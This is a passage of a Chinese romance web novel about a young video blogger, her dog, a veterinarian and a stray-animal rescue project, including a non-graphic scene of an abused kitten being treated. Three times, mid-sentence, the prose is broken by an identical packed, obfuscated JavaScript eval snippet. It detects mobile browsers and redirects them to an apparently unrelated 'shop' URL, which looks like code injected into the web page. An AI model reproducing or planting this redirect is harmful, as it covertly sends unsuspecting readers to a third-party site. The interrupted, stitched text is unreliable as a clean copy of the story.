突如其来的靠近让李朝穗有些紧张,她往后退了半步:“呃……你好。” 面前的男人应该也是医生,长相和性格很配,一副阳光少年的样子。个子比许琮矮一点,发型穿搭都很时髦,和许琮是完全相反的风格。 “你好你好!”关雨景伸出手,握住李朝穗身旁的手,“朝穗姐,我叫关雨景,不仅是这家医院的医生,还是老许的朋友。” 许琮盯着他和李朝穗相握的手,语气带着警告意味的叫了一声:“关雨景。” “哎老许,你那副丑得要死的眼镜呢?” 关雨景不怕死的样子真是从一而终啊,许琮刚认识他的时候就经常被他气个半死,现在依旧如此。 关雨景没理他,继续对着李朝穗说话:“你那个账号我关注了,视频都很有意思。” “谢谢……”李朝穗扯出一个笑,有些迟疑地开口:“那个,你怎么知道我的名字的……” 似是料到李朝穗会问这个问题,关雨景想都没想就回答:“当然是我掐指一算算出来的啊!”话毕,又自己解释一遍:“开个玩笑,我提前跟前台妹妹打听你了。” 李朝穗了然,“岁岁刚拆完线,我先带它去……” “哎,别急着走啊!”关雨景拦住她,“你跟老许认识多久了?” “没多久。” “没多久就一起吃饭了?”关雨景眨眨眼,冲许琮传了个意味不明的眼神。 被他一直紧追着问,纵使李朝穗社会化程度再怎么高,也不知道该如何应对。耳朵又开始不合时宜的发热,“是因为岁岁,之前……” 关雨景恍然大悟,“哦对对对,输血嘛。所以你们是因为这个认识的?加了微信,然后就一起吃饭了?” 李朝穗张了张嘴,不知道怎么接。 关雨景看到她这副反应,忽然笑了:“你跟老许在一起了吗?” “什么?”李朝穗彻底蒙了。 “就是,你们俩,在一起了吗?” 李朝穗下意识去看身旁的许琮,他脸色不太好,像是生气了。许琮显然不会站在原地任人宰割,他往前,伸手搭上关雨景的肩膀,把人往旁边带了半步。 “这么闲,你查完房了?” “查完了啊,”关雨景还没反应过来,“不是,我还没问……” 许琮打断他,“二楼输液室那只柯基的留置针,你去检查一下。” 关雨景愣了一秒,看看许琮,又看看不远处一脸窘迫的李朝穗,脸上露出“我懂了”的表情。 “行行行,我走我走。”他举起双手做投降状,转身走了两步,又回头朝李朝穗笑了笑,“朝穗姐,下次聊!” 诊室里安静下来,只剩下她和许琮两个人。岁岁与世隔绝一般,趴在地上专心致志玩着牵引绳。 李朝穗局促地站着原地,耳朵红的能滴出血。 许琮无奈地叹了口气,“他这人就这样,说话没个把门的。”他走上前拿起岁岁的牵引绳,绕在自己手上,“你别往心里去,我之后会说他的。” “嗯。”李朝穗应了一声,声音小得像蚊子叫。 “他就是爱开玩笑,你别当真。”许琮带着岁岁走到门口,又补了一句。 李朝穗抬头看了他一眼,他也在看着她,没有调侃的样子,神情异常认真,好像……没那么尴尬了。 “我知道。” 许琮点点头,抿着的嘴唇舒展开来,“那中午的饭……” “吃。”女孩回答的干脆利索,丝毫没有犹豫,“不过说好了,我付钱。” 许琮嘴角弧度慢慢变大,眼底的笑意也浮了上来,“行,那你等我一下,我把岁岁安顿好,换个衣服。” 7. 账号 第七章账号 岁岁交由护士照看,此刻正在二楼的娱乐区玩着舔舔盘。 许琮换了衣服出来,黑色高领毛衣,深色外套,头发随手抓了两下,比穿着白大褂时精神不少。李朝穗瞧见许琮出来了,收起原本刷着视频的手机。 “走吧。”许琮推开门,侧身让她先出去。 “去哪吃?” “前面有一条巷子,走几分钟就到了。” 他们刚迈下楼梯,身后突然出现一阵急促的脚步声。 “等等等等!吃饭吗?我也要去!”关雨景小跑追出来,身上还穿着工作服,白大褂衣角在身后一飘一飘的。 在两人跟前停下,喘着气说:“我要饿死了,这几天在乡下也没吃好。你们去哪吃?带上我呗。”他说的理直气壮,好像丝毫没觉得有什么不对。 李朝穗愣在原地,她没想到这“炸弹”还会跟上来,求助似的看向许琮。 许琮定定看着关雨景,表情淡淡的,没说话,但好像又什么都说了,毕竟是个人都能看出来他有生气的迹象。 关雨景顿时感觉全身发毛,缩了缩脖子,“不去就不去嘛,我是想和朝穗姐多聊聊。” 告别了吵闹的烦人精,她跟着许琮沿着石板路,走进一条满是烟火气的小巷。 云栖的老城区有很多这样的巷子。窄的地方只能过一辆三轮车,宽的地方摆着几张桌椅,有人在门口择菜,有猫趴在台阶上晒太阳。墙根处长着一丛丛不知名的绿植,叶子被阳光晒得发亮。 许琮带着她拐了两个弯,在一家没有招牌的小店门口停下来。 店面不大,玻璃门上贴着“营业中”三个字,里面的五六张桌子已经坐了两桌客人。空气里飘着骨头汤的香气,混着醋和辣椒的味道,热腾腾的,从门缝里往外涌。 许琮推开门,跟柜台后面的老板娘点了点头。老板娘四十来岁,围着一条洗得发白的围裙,看见他就笑了:“小许来啦?今天吃点什么?” “你有什么忌口吗?”许琮转头看了一眼正在好奇打量周围的李朝穗。 “没有。” 许琮冲后厨说了一句,“还是老样子。”像是想起什么,又问她:“你能吃辣吗?” “可以的。” “那再加一份酸菜鱼。” 老板娘笑眯眯地应下,转身进了后厨,一帘之隔传来笃笃的切菜声。 许琮带着李朝穗走到靠窗的位置坐下,两人座的桌子算不上大,面对面坐着却感觉离得更近了。 李朝穗环顾四周,墙上贴着手写的菜单,字迹有些褪色,边角卷起来。陈年木桌被擦得锃亮,筷子筒里插着几双消毒木筷。窗台上摆着一盆绿萝,藤蔓垂下来,快要碰到桌面。 很像小时候奶奶带她去的小馆子。 “你经常来这家?”她问。 “嗯。”许琮拿起桌上的茶壶,给她倒了一杯水,“离医院近,味道也不错。值夜班的空隙过来吃碗面,比点外卖强” 茶水是淡黄色的,冒着热气,飘着茉莉花香,香味一缕一缕地钻进鼻腔里,让人不由得放缓了呼吸。 “值夜班很累吧?” “还好。习惯了。”许琮把茶壶放回去,靠在椅背上,“晚上急诊不多的话,能眯一会儿。” 李朝穗想起之前看到他顶着黑眼圈、胡渣,臭着一张脸上班的样子。现在好像有所不同,阳光从窗户照进来,落在他肩膀上,面色也被衬得红润了些。 菜上得很快。 酸菜鱼用一个大白瓷盆装着,汤底金黄,飘着酸菜和辣椒,表面浮着一层微微的热气,锅气满满。另一道糖醋排骨,色泽红亮,撒了点白芝麻点缀,清炒时蔬和两碗米饭也紧跟着上桌。 许琮把酸菜鱼往她那边推了推,又拿了一个小碗给她盛了半碗汤。 “先喝口汤,他家酸菜鱼的汤不辣,挺开胃的。” 李朝穗接过来喝一口,酸酸辣辣的,汤汁滚过舌尖,带着鱼肉的鲜甜和酸菜的爽脆。她忍不住又喝了一口,余光里许琮正在夹菜,动作优雅,咀嚼食物时不会发出声音,吃的很安静。 “你平时一个人住吗?”她问。 “嗯。你呢?” “我也是。”李朝穗夹了一块排骨,骨头上的肉炖得软烂,轻轻一抿就下来了,“一直是一个人住的。” “一个人住挺好的。”许琮说,“自由。” 李朝穗点点头,又不知道该说什么了。 窗外有只橘猫路过,蹲在对面屋檐下舔爪子,阳光把它的毛照成金棕色。她夹起一块鱼,送进嘴里,想起衣服的事还没说完。 “那个卫衣,”她有些倔强,“我真的赔你一件吧。岁岁咬的洞还挺大的,我看那件衣服料子不错,应该不便宜。” 许琮正在喝汤,听她这么说,看了她一眼。 “那件衣服穿了好几年了,本来也旧了。”他把汤碗放下,用纸巾擦了擦嘴,“你要是真过意不去,下次去基地的时候多干点活就行。” “好啊。”她说,语气比刚才轻松了一些。 许琮点了点头,继续吃饭。 过了一会儿,李朝穗又问:“你经常去基地吗?不然衣服怎么会落在那儿。” “偶尔去。”许琮说,“基地那边有些活志愿者干不了,得搭把手。上次去给一只瘫痪的狗做康复训练,干完活热了就把卫衣脱了,走的时候忘了。” “瘫痪的狗?” “嗯。后腿被车撞过,主人不想治,丢在路边,被人捡到送到基地的。”他往女孩碗里夹了一块鱼,放下筷子继续说:“现在恢复得还可以,能站起来走路了,就是跑不快。” 李朝穗静静听着,慢慢嚼着嘴里的饭。 窗外的橘猫已经换了个姿势,蜷成一团,眯着眼睛打盹。 “许医生,你当初为什么学动物医学?” 许琮听了这个问题,眉毛不自觉往上挑了一下,“不想和人打交道,索性就选了这个。” 李朝穗忍不住笑了一下。 许琮察觉到她笑了,嘴角也微微上扬:“但是后来发现,还是得跟人接触,和宠物主人沟通也是一门学问。” “所以你一开始是不想跟人说话才选的这个专业?”李朝穗问。 “差不多。”许琮把筷子放下,靠在椅背上,“专业比较冷门,大四那会儿找实习,很多单位一听专业名字就不要,简历投了几十份,连个面试机会都没有。” 到这里停了一下,没再往下说。 听着他语气随意的提起自己的无助,李朝穗似乎有那么一瞬也身处许琮的困境。 她比大多数人幸运,奶奶去世后给她留下一笔钱,尝试自媒体成功,父母多年没有接触,兴许是出于愧疚,他们每隔一段时间都会给她这个女儿打一笔数目不小的钱。 世界上虽没有真正的感同身受,但只要愿意换位思考,其中一些通俗的感情也未尝不能懂。 她找出昨天后台私信她的女生,盯着屏幕看了几秒,然后打了一行字:“不好意思才看到消息。我暂时不缺助理,但我们可以加个联系方式,以后有机会可以合作。”随后把微信号发了过去。 许琮已经半饱,面前的女孩似乎已经饱了,都是几粒几粒米饭放嘴里嚼。 “你上大学的时候就开始做账号了?”他问。 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495831|202496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝穗放下筷子,碗里的米饭早已见底,“大一就开始了,那时候什么都不会,拍视频、剪辑、写文案,全都是自己摸索的。” “很厉害。” “也没有。”她笑了笑,“运气比较好” “账号叫什么,哪个平台,我去看看。” 李朝穗狐疑地看了他一眼,慢悠悠开口:“‘岁岁安’,就是我的微信名,各个视频平台都有。” 许琮点了点头,没再追问,望着桌上还有残余的菜,试探性地问她:“吃饱了吗?” “嗯……再吃点吧。”她看着桌上的菜有些犯难,自己的胃已经没有空位,可感觉剩菜实在是有些不好。 没想到下一秒,许琮盛上半碗饭,配上米饭,三两口把余下的酸菜鱼和排骨全部扫空。 “我去买单。” 许琮已经先她一步站起来了,“我买过了。”他从口袋里掏出手机晃了晃,“点菜的时候就跟老板娘说了。” 李朝穗瞪大眼睛看着他:“不是说好了我付吗?” “下次。”许琮把外套从椅背上拿下来,穿上,“你说三顿饭,这才第二顿。还有一顿。” 李朝穗想反驳,之前约的三顿饭应该都是她请,按理来说,她还需要再和许琮吃三顿并请客,才算完。 正午阳光正强,巷子里有人在晒被子,被单在风里鼓起来,像一面白色的帆,空气里弥漫着洗衣粉的味道。许琮走在前面,她跟在后面,看着他的背影,视线里直直看去是他的肩膀,又宽又厚的肩。 走到医院门口,讨人烦的关雨景不知道什么时候带着岁岁等在门口,看到李朝穗出现一溜烟跑到主人身边。 许琮停下来,“我下午还有个手术,先回去了。” 李朝穗牵起岁岁,朝他点点头:“那你快去忙吧。”告完别,她转身离开没多停留。 许琮等她离开后,才往医院里面走,关雨景手里拿着一个咬了一半的苹果,没骨头似的靠在门边,“哟,回来啦?” 他看看两人刚刚站的方向,又打量面前许琮的表情,脸上浮起一个意味深长的笑,调侃道:“演偶像剧呢?” 许琮没理他,略过他往里去。 “看你那眼神。”关雨景用苹果朝门口的方向点了点,啧啧两声,“拖拖拉拉的,换我早表白了。” 许琮头也没回,发出一声哼气声,“那怎么没见你谈上一个?” 关雨景噎了一下,苹果卡在嘴里,嚼了两下才咽下去。 “我在帮你操心,你倒来挖苦我。”他嘟囔了一句,转身往诊室走了,苹果核在空中划了一道弧线,精准地落进垃圾桶。 天空的太阳悄无声息的往西边靠近,许琮说有手术是真的有,几个小时的高难度手术下来,他的脊柱似乎都有些僵硬,好在已经到了下班时间。 推开休息室的门,许琮躺进沙发,掏出手机。 后台的抖音APP安装成功,他简单注册了账号,点进“岁岁安”的账号。视频很多,他按照时间顺序一个个看,时间比较近的风格统一,大都是“欢迎收看23岁旅居女生的养狗日常”为开头,久远一点的,日常、旅游和其他掺杂着。 他看得很慢,每一个都看完才划到下一个。看完一个,点一个赞,再点一个收藏。 三年前的视频他也看了。画面里的她站在乌镇民宿的院子里,头发被风吹得乱七八糟,兴高采烈地跟观众说自己即将爬雪山之巅,后半段则是登顶后的风景。 “岁岁安”主页上留下一串红心,他打开手机备忘录,往下划到最新的位置。 “吃了第二顿饭,她开始对我感兴趣。” “进度+1” 8. 庇护 第八章庇护 清晨五点半,云栖的天光还是灰蓝色的。 李朝穗被岁岁的湿漉漉的鼻头顶醒,她眯着眼摸了一把狗头,岁岁的尾巴立刻摇起来,打在床沿上发出闷闷的声响。 “知道了知道了。” 她撑起身子,随手找出两件衣服套上。这是每个养狗人的噩梦,不管多困,狗醒了你就得醒。无论刮风下雨盛夏暴雪,遛狗都是无法逃脱的事。 憧憬花园的早晨很安静。这个小区在云栖市偏郊区的位置,分ABC三个区,她租的是C区的一栋独栋小院。路面铺着浅灰色的石材,两侧种满了月季和桂花树,立冬时节已经过去,天气逐渐转冷,可桂花开得正欢。 路灯还没灭,橘黄色的灯泡笼罩着地面,暂代了此刻的太阳。空气里有草木被露水浸透后的涩味,岁岁的爪子染上草地的湿,在水泥地上踩出一串梅花印。 李朝穗走得慢,岁岁也不急,东闻闻西嗅嗅,尾巴悠闲地晃着,像个好奇的小孩。树上有鸟叫,叽叽喳喳的,给这个清冷的早晨添上些许趣味。 住在这里快两个月了,她和周围的邻居都不是很熟,顶多遛狗的时候碰见打个招呼,都是点头之交,除了那个找茬的王大爷,一切都挺安逸的。 这样挺好的,她想过的就是平淡的生活。 走到大草坪,岁岁突然停住了,它低下头,鼻子贴着地面,一吸一吸地嗅着什么。李朝穗跟随它的脚步往前,离面前的草丛越近,岁岁就越着急,一个劲往前冲,她下意识攥紧了牵引绳。 面前的不过就是普通的冬青丛,叶子密密的,看不出什么特别的。 “岁岁,走了。”她轻轻拉了拉绳子,无奈地催促道。 岁岁执意往前,半个身子已经扎到绿化带里去了,突如其来的反常让李朝穗有些摸不着头脑。按照它的性格,不把那一块搜个遍,是不肯回家的,她只好蹲下来,拨开枝叶,看看里面到底有什么。 一团模糊的东西卡在枝丫间,李朝穗不由得靠近了一点。视线变清晰的那一刻,她的汗毛几乎是瞬间炸开。 外层包着白色塑料袋,湿漉漉的,混着泥和暗红色的痕迹,散发着血腥味,团在那里就像一块烂肉。那团东西极其缓慢地颤了颤,张开嘴发出微弱的叫声。 猫的叫声。 不,那不是猫应该有的样子。它身上几乎没有毛了,稀稀拉拉的几撮黏在带血的皮肤上,底下的皮是大片大片的红,红的刺眼,小小的四肢也以一种不正常的角度蜷着。它就这样,像一块烂肉被人装进塑料袋里系上,扔进草丛里。 李朝穗蹲不住了,跪在湿泥里,伸出手想要把它拉过来,但手却控制不住的一直抖,一直抖。 指尖每离它近一点,她的呼吸就更重一分。 为什么小猫会出现在这里,为什么会变成这样……什么样的人会这样做? 什么样的人会把一个活生生的东西弄成这个样子,然后用塑料袋装着,像丢垃圾一样丢在路边? 她没敢想下去,使劲往前一够,两只手稳稳托住它。它太轻了,轻的不像话,凸出的骨头抵着她的掌心,温热的,还在微微发抖。 李朝穗站起来,往小区门口走去,岁岁一直安安静静跟在脚边,随着她一起坐上出租车。 从憧憬花园到爱德宠物医院,不堵车要二十分钟。 早高峰的车流已经开始涌动,橙黄色出租车在车缝里穿来穿去,红灯的时候司机往后座看了眼抱着猫、带着狗的女孩,嘴角向下不悦的样子,要不是她上车时说多给二十,他才不乐意拉这些带毛的猫狗。 李朝穗没去在意司机的眼神,不知道是不是她的错觉,小猫呼吸的起伏好像越来越小了,再这样下去可能就危险了。 到了医院,李朝穗一手牵着岁岁,一手抱着猫推门而入。前台小姑娘正在换工服,看见她进来,笑着说了句“早上好”,可下一秒视线落在那团东西上,笑容就没了。 “许医生在吗?”李朝穗焦急地问。 “许医生今天调休……” 李朝穗还想说些什么,紧接着就听到有人叫她。 “朝穗姐?” 关雨景从走廊那头出来,手里拿着病历本,旁边还有一只刚打完针的小泰迪和它的主人。他看见李朝穗的脸色,他心中预感不妙,快步走到她面前,待看到怀里的情景时,神情瞬间变得严肃起来。 “跟我来。”他说完转身往自己的诊室走去,步子比平时快了几分。 诊室的门已经关上。关雨景戴上手套,小心翼翼地把猫从塑料袋里托出来,放在铺了软布的操作台上。 小猫被挪动,半昏迷中醒来,发出一声尖细的惨叫。可此时的它,就算是用尽全力声音都还是小小的,就像它在这世上的位置,也是小小的。 关雨景检查了很久,他触摸早已溃烂的皮肤,检查四肢,用听诊器听胸腔,又轻轻掰开它的嘴。全程没有说话,但李朝穗注意到他的眉毛越皱越紧,下颌的肌肉鼓起来又松开。 “烫伤。”他终于开口了,声音比平时低了很多,“高温沸水。毛是生生被人拔掉的,牙齿也是,不是自然脱落,是被人拔掉的。” 他顿了顿,“大概四五个月的小猫。” 李朝穗站在操作台旁边,手指攥着桌沿,指节发白。她用了眨了眨眼,把鼻尖的酸涩憋了回去,开口的时候声音已经附上一层沙哑:“那……还能活吗?” 关雨景低着头没说话。 沉默比任何回答都更让人心慌。 李朝穗的眼泪在眼眶里来回打转,但她咬住嘴唇,没有让它掉下来。 关雨景没有停下,他转身从药柜里拿出几瓶药液,先用生理盐水冲洗它身上的伤口,水流很慢,一点一点把凝固的血和泥沙冲走。被拔掉毛的地方,有些已经化脓了,他换了碘伏棉球,仔仔细细把每一个角落都照顾到。 “烫伤的面积太大了,”关雨景一边操作,一边说,语气比平时低沉许多,“得先补液,维持住体温,再考虑后面的治疗。”他从抽屉拿出一支注射器,抽了药液,在小猫的后腿皮下慢慢推了进去。 李朝穗站在旁边,想帮忙又怕添乱,只能摸着岁岁,缓解此刻的紧张。 关雨景用纱布把小猫身上的伤口轻轻裹了一层,又在操作台上垫了一个暖水袋。做完这一切,他拿出手机把这事告知许琮和珊姐。 不到半小时,许琮推门进来了。 头发是乱的,外套拉链只拉了一半,里面穿的还是上次那件黑色毛衣。进门的时候目光先落在了李朝穗脸上,眼眶红红的,湿意仍在。他从口袋里掏出一包纸巾,递到她手心,随后走到操作台边,伸出手指碰了碰小猫的耳朵,然后俯下身,凑近查看了口腔的情况。 招呼关雨景过来,拿起听诊器放在胸腔上,逐渐清晰的心跳声传来,他凝重的表情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495832|202496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于有些松动,“心跳变强了。” 闻言,其余两人也跟着松了口气。有心跳,就有可能活下来。 又过了几分钟,珊姐也到了。 她进门的时候还在喘,额头上有一层细汗,应该是从家里跑出来的。她看见猫的那一刻,整个人顿住了,瞳孔不断颤动,低下头念了一句“阿弥陀佛”。 “在哪儿发现的?”许琮问。 李朝穗已经恢复了平静,但声音还带着哽咽,报了小区的名字和大概的位置。 珊姐掏出手机开始打字,一边打一边说:“我让人去社区问问,那附近有没有人见过可疑的人。这种虐猫的,一般不是第一次。” 许琮点了点头,转身和关雨景低声交流了几句。交代完,又转过身对珊姐说:“治疗费用医院的救助金,要是能救活……养在医院还是找领养,你来安排。” “行,我跟‘安心庇护’的志愿者说一声。” “安心庇护?”李朝穗对刚刚听到的这个词产生了兴趣。 许琮说:“我和珊姐一起发起的一个救助计划,基地的志愿者都在做。” 珊姐在旁边接话:“就是收集消息,救助流浪狗,猫也救。抓回来治病、做绝育、找领养。” 李朝穗低头看着操作台上的猫,关雨景给它垫了暖水袋,身上盖了一块软布。它闭着眼睛,呼吸比刚才平稳了一些,但还是很弱,像一盏随时会灭的灯。 “我们那个计划,”珊姐继续说,“说白了就是到处跑,有人打电话说哪儿有流浪狗,我们就去抓。抓回来先看病,能治的治,治好了找领养,找不着就养在基地。” 她叹了口气,“人们都喜欢长得漂亮的,身体健康的,基地里养的猫狗已经超一千只了。” “许医生出钱,我出人,志愿者们出力。谁有空谁上,有时候半夜接到电话也得去。” 许琮靠在操作台边上,双手插在外套口袋,李朝穗注意到他的眼睛下面有很深的青黑,应该是值了一晚上班还没睡就被叫来了。 诊室里安静了一会儿。关雨景没了平时的欢脱样,坐在桌前在写病历,笔尖划过纸面的沙沙声很轻。珊姐还在和志愿者联系,她听到了些片段信息, 李朝穗紧紧抿着红唇,目光低垂似乎在思索着什么,视线又来回在几人身上流转,最后停在许琮身上。 “那个计划,我能加入吗?”女孩带有试探的询问在屋子里响起。 珊姐是第一个做出反应的,她拉住李朝穗紧握的手,高兴道:“当然可以啊!你能来我太高兴了,哦不对,我和许医生,我们都高兴!” 关雨景在一旁附和,“朝穗姐能加入,那就是一员大将啊!她可是个粉丝过百万的大博主,随便发发领养消息就能找到合适的领养人了。” “是吗?小穗这么厉害啊,你们之前怎么都没跟我说啊。” “这岂不是随便发条视频,咱基地的狗都能找到好主人啊。” 关雨景开始给珊姐介绍她的账号,两个人聊得热火朝天的,你一言我一语的把李朝穗夸上了天,现在的她在他们面前似乎就是个无所不能的神仙。李朝穗听着却生出了一丝担忧,万一自己没达到他们的期待怎么办…… 一时间喜悦的氛围充斥着房间,他们对于李朝穗的加入都很高兴。 唯独许琮,听到她说的话之后没什么反应,目光直直看着她,眼底含着复杂的情绪。 9. 草台班子 第九章草台班子 小猫的生命体征已经平稳,珊姐准备把李朝穗这个大博主加入“安心庇护”计划的事告知基地志愿者,被许琮拦了下来,不知道他和珊姐说了什么,没过多久,珊姐就先离开了。 忙完事情,许琮这才有时间好好看看李朝穗。 她今天的穿衣风格和平时差距太大,黄色灯芯绒外套配上里面衣角微露的红色小熊睡衣,看样子灵感来自经典名菜“西红柿鸡蛋”,脚上还踩着一双居家拖鞋,如此奇特的搭配让许琮眼前一亮。 似乎感受到了许琮的视线,李朝穗不好意思地摸了摸头发,她也知道自己今天的穿搭实在不宜见人。 “你待会要去哪?我送你。”许琮整理了一下衣领,询问道。 李朝穗牵着岁岁,眼神飘忽着,闷声说:“回家。” 许琮轻声应了句,朝停车场走去,到车前停下。他拉开后座的门,岁岁十分自觉地自己跳了上去,然后是副驾驶的门,示意李朝穗进去。 车子驶出医院,拐上主路。此刻接近正午,阳光很烈,路面泛着一层刺眼白光。许琮开车很稳,目视前方,打方向盘、换挡,一套动作熟练干脆。 红灯不合时宜地亮起,挡住了车子前进的路,只好停下来静静等待。 “基地志愿者是没有工资的。”许琮左手搭在方向盘上,扭头望着她,“事情很繁琐,有时候还要处理伤口、清理排泄物。偶尔会见到不太美观的场景,你想清楚了?” 李朝穗迎上他的目光,没有立即回答他的问题,“如果像你说的那样一点好处都没有,那你们为什么还要做?” 许琮的手指在方向盘上轻轻敲了两下,像是没想到她会这么问,浓眉上挑,嘴角勾勒出一抹淡笑。 绿灯亮了,车子继续往前开。 “珊姐信佛。”他说,“她看到这些猫狗流浪受苦,于心不忍。觉得能救一条是一条,也算是给自己积德。” 李朝穗没接话,等他继续说。 “负责基地做饭和乐园打扫的张爷,以前养过一条狗,叫宝来。”许琮慢条斯理地叙述着,“宝来很精明,帮家里抓过小偷,张爷把它当亲人一样。他儿子大学毕业后就没再回来,每个月给点钱算是赡养费,那几年陪着他的只有宝来。” 他顿了顿,眼神忽而看向窗外,手指在方向盘上握紧又松开。 “后来有一次,他和宝来上街捡废品。一辆车撞上来,宝来被压到轮子底下,车头离张爷只有一个拳头的距离。” 简单的三两句,叙述完这个叫宝来的小狗一生。 许琮的话不自觉的在她脑海里生成鲜活的画面,想象中的情感变成了刺激她泪点的细针,李朝穗不争气的又湿了眼眶。 许琮用余光扫了她一眼,换了个轻松点的语气。 “那件事之后,张爷认识了珊姐。珊姐介绍他到乐园做保洁,每个月给他开工资。他还负责煮基地犬舍的饭,每天都有得忙,比以前开心多了。” 李朝穗吸了吸鼻子,偏过头不想让身边人察觉到她的异样。 “基地的志愿者,”许琮继续说,“每一个都或多或少和动物有过很深的缘分。有的自己养过,有的被动物救过,有的就是心软,见不得它们受苦。珊姐常说一句话,众生平等,人的命是命,动物的命也是。 “你救的不只是一条动物的命,也是救自己心里的那点善意。” 他说完,车里安静了一会儿。周围只剩下窗外车水马龙的城市噪音,还有两人微不可察的呼吸声。 李朝穗看着前方,眼眸里的光影流转变换,过了几秒才开口。 “我想清楚了。”她声音清澈,语气坚定,“反正我的工作时间也自由,正好用空余时间做些有意义的事。要是珊姐能同意我随意拍摄基地和乐园,对我来说会是一个很好的创作素材。” 许琮悄悄看了眼身旁的女孩,她如此认真的样子,让他眼里多了几分担忧。 “珊姐和关雨景这么看好你,万一你以后满足不了他们的期待,该怎么办?” “万一你连自己的期待都满足不了,怎么办?” 刚才诊室里那两人开心得就差把李朝穗奉为“救星”了,期待多高,压力就有多大,这事他不是不懂。所以在珊姐把事情说出去之前,拦住了她。 一腔热血答应去做志愿者,在许琮说错之前她完全忽略了自己的处境。 是啊,万一让别人、让自己失望了,钱和成就感一样都没有,她该如何自洽呢? “我……”李朝穗迟疑了,对于这个问题,她一时间好像也没办法找到答案。如果不做这件事,她大概会后悔。长时间的接触网络世界,已经让她身心疲惫,甚至让她怀疑,自己只是恰巧站在风口,实际上并没有价值重量。 她迫切的需要做些什么,来让自己感受到人生的重量。 知行合一,答案往往都在行动中,要找答案,起码得先动起来。 李朝穗沉默了很久,她是个藏不住情绪的人,内心的挣扎、思量都被许琮看在眼里。所以在她又一遍回答“我想清楚”的时候,许琮没再追问。 “刚刚你说的拍摄,作为基地和乐园的投资人,我同意了。”许琮没有抑制此刻的心情,任由笑容在自己的脸上绽放。 李朝穗眼看着平时表情淡然的男人此刻嘴角向上咧着,一股热气开始向脸上蔓延,她迅速别开了视线。 到了28号门口,许琮把车停在路边。李朝穗抱着岁岁下车,关上车门,弯腰朝车窗里说了声“谢谢”。许琮轻轻点头,看到她走进家门,才调头离开。 周六一早,李朝穗按照约定好的时间,带岁岁到了安心基地。 周末的乐园和上次来时完全不一样。草坪上到处都是人,小狗们在追逐打闹,主人们组团做着游戏,遮阳伞下的座位坐满了,桌上摆着咖啡和蛋糕。靠近,便能闻到名为“欢乐”的信息素。 珊姐在乐园门口等她,看见她就笑了,嗓门大得半条街都能听见。 “小穗!这边这边!” 李朝穗牵着岁岁走过去,珊姐先把岁岁放进乐园,然后一把拉住她的胳膊,带着她往安心小站走。 一楼是个小型甜品店,正对着乐园的那面墙开了一扇大窗,做了木质的外延板,放着几张高脚吧台椅,方便客人入座。推门进去,一半的空间被划为饮品、蛋糕制作区,左手边照片墙,上面贴满了领养前后的对比照。 二楼是周边专卖区,几排展示柜,摆着帆布袋、水杯、钥匙扣之类的周边,设计都很简单,猫狗爪印的图案,印着“安心庇护”四个字。角落的桌子上放着台电脑,还有几沓厚厚的登记表。 出了小站,珊姐就带着她往基地走。 大门还是那扇生锈的铁网门,珊姐推开门的瞬间,李朝穗做好了心理准备,意料之外的是没有传来上次骇人的吠叫。铁门“吱呀”一声开了一条缝,之前空荡荡的大院此刻有了生气,几个志愿者分散在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495833|202496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各个部分做着手里的活,有说有笑的。 张爷她认识,穿着旧蓝色工作服,正蹲在灶台边往大锅里倒玉米面。 他旁边站着一个五十来岁的女人,短发,穿着一件带刺绣的毛衣开衫,手里拿着一个文件夹,正往上面写什么。珊姐管她叫娟姨,说她是基地的“情报中心”,跟云栖市各个社区的管理人员都有联系,哪条街有流浪狗,哪个小区有人弃养,她第一个知道。 “娟姨以前在街道办工作过,”珊姐说,“退休了闲不住,就来帮我们。社区那边的人她都熟,好说话。” 娟姨抬起头朝她们这边看,“丽珊,这小姑娘是谁呀?” 珊姐佯装生气,“哎哟,不是叫你别叫我名字嘛,不好听!”随后又恢复笑呵呵的样子介绍:“新来的志愿者,大学刚毕业的小姑娘。” 娟姨笑了笑,简单打了个招呼,低下头继续写。 另一边,一个四十出头的男人正在用水管冲洗犬舍的地面。他穿着雨靴,裤腿卷到膝盖,水管的水柱冲在地上,溅起白色的泡沫。珊姐说他叫周哥,以前在工地上干活,后来腰受了伤,干不了重活,就来基地帮忙。他话不多,干活最利索,犬舍的维修、卫生基本都是他一个人包了。 犬舍最里面,一个年轻姑娘蹲在一只老狗的笼子前,手里拿着肉干,一点一点掰碎了往笼子里递。 那姑娘看起来二十五六岁,穿着宽松的毛衣,头发随便扎在脑后。珊姐说她叫小圆,是幼师,周末不上班的时候就过来。她最擅长跟那些胆子小、怕人的狗打交道,能蹲在笼子前面哄一个下午。 